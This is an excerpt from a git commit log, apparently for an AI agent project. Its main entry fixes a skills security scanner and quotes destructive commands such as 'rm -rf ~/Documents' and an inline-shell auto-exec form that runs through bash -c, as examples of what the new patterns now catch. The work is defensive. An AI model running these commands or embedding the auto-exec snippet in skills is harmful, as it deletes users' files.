turn, kanban goal loop, notify-completion follow-ups) is done, and none
of its remaining steps — the linger wait, the durable flush, cleanup —
runs a turn. The lease means "a turn may run on this session", so
release it FIRST: the boundary the one-shot path already declares ("the
exit linger is NOT part of the spawner's delivery", #113608). Cleanup
failure propagation is unchanged, and a cleanup failure can now never
skip the release.

(cherry picked from commit 438c68b80898efb9a287d39da32a94b772316d4e)
2026-09-30 09:57:11 -05:00
Jeffrey Quesnelle
f42f579cf8 Merge pull request #128011 from rroverin/fix/escape-drift-newline-doubling
fix(tools): escape drift newline doubling
2026-09-30 00:59:14 -04:00
Brooklyn Nicholson
0f24f8b8eb fix(skills-guard): detect bare-~ destructive rm and inline-shell auto-exec DSL
The skills security scanner had two blind spots (#63307 Part A):

1. destructive_home_rm only matched literal $HOME, not bare ~. A command
   like 'rm -rf ~/Documents' scanned as safe for every trust tier.

2. No pattern detected the !`cmd` inline-shell DSL that
   agent/skill_preprocessing.py expands via bash -c on skill view/load.
   A skill carrying !`rm -rf ~/Documents` scanned safe.

Fix: extend destructive_home_rm to match ~/~ /~* (bare tilde forms),
add an inline_shell_exec pattern for the !`...` auto-exec snippet
(requires a non-space payload so a skill explaining the DSL is not
flagged), and bump SCANNER_VERSION to skills-guard-v7 so cached safe
verdicts are invalidated.

Also stop swallowing the scan verdict on the TUI-gateway skills.manage
install RPC (#63307 Part B): _skills_install returned installed:true on
every path, including a security-scan block, because its console was a
sink. It now keys the response off do_install's verdict and answers an
error envelope (5031) whose message/data carry the printed tail — the
scan verdict, the ambiguity candidate table, or the fetch failure —
instead of a silent success.

The Desktop one-click hub install path gets the same treatment from the
spawned CLI's exit code (hub-actions.ts already parses it).

Original scanner patterns by the PR author.

Co-authored-by: liuhao1024 <sunsky.lau@gmail.com>
2026-09-29 20:57:45 -05:00